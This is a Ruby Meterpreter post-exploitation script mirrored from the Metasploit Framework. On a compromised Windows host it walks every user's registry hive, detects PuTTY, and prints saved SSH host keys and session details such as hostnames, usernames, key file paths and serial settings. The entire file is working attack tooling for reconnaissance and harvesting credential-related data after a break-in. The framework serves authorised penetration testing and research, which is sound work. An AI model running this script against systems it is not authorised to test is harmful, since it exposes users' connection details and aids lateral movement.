mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
99 lines
3.2 KiB
Ruby
99 lines
3.2 KiB
Ruby
# $Id$
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#
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# Meterpreter script for enumerating putty connections
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# Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
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#
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# $Revision$
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@client = client
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#Options and Option Parsing
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opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help menu." ]
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)
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opts.parse(args) { |opt, idx, val|
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case opt
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when "-h"
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print_line "Meterpreter Script for enumerating Putty Configuration."
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print_line(opts.usage)
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raise Rex::Script::Completed
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end
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}
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def hkcu_base
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key_base = []
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user = @client.sys.config.getuid
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if user != "NT AUTHORITY\\SYSTEM"
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key_base << "HKCU"
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else
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key = "HKU\\"
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root_key, base_key = @client.sys.registry.splitkey(key)
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open_key = @client.sys.registry.open_key(root_key, base_key)
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keys = open_key.enum_key
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keys.each do |k|
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if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/
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key_base << "HKU\\#{k}"
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end
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end
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end
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return key_base
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end
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def check_putty(reg_key_base)
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installed = false
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app_list = []
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app_list = registry_enumkeys("#{reg_key_base}\\Software")
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os = @client.sys.config.sysinfo['OS']
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if os =~ /(Windows 7|2008|Vista)/
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username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME")
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elsif os =~ /(2000|NET|XP)/
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appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA")
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username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/)
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end
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if app_list.index("SimonTatham")
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print_status("Putty Installed for #{username_profile}")
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installed = true
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end
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return installed
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end
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def enum_known_ssh_hosts(reg_key_base)
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print_status("Saved SSH Server Public Keys:")
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registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host|
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print_status("\t#{host}")
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end
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end
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def enum_saved_sessions(reg_key_base)
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saved_sessions = []
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sessions_protocol = ""
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sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions"
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saved_sessions = registry_enumkeys(sessions_key)
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if saved_sessions.length > 0
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saved_sessions.each do |saved_session|
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print_status("Session #{saved_session}:")
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sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol")
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if sessions_protocol =~ /ssh/
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print_status("\tProtocol: SSH")
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print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}")
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print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}")
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print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}")
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elsif sessions_protocol =~ /serial/
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print_status("\tProtocol: Serial")
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print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}")
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print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}")
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print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}")
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print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}")
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end
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end
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end
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end
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if client.platform =~ /win32|win64/
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hkcu_base.each do |hkb|
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if check_putty(hkb)
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enum_known_ssh_hosts(hkb)
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enum_saved_sessions(hkb)
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end
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end
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else
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end |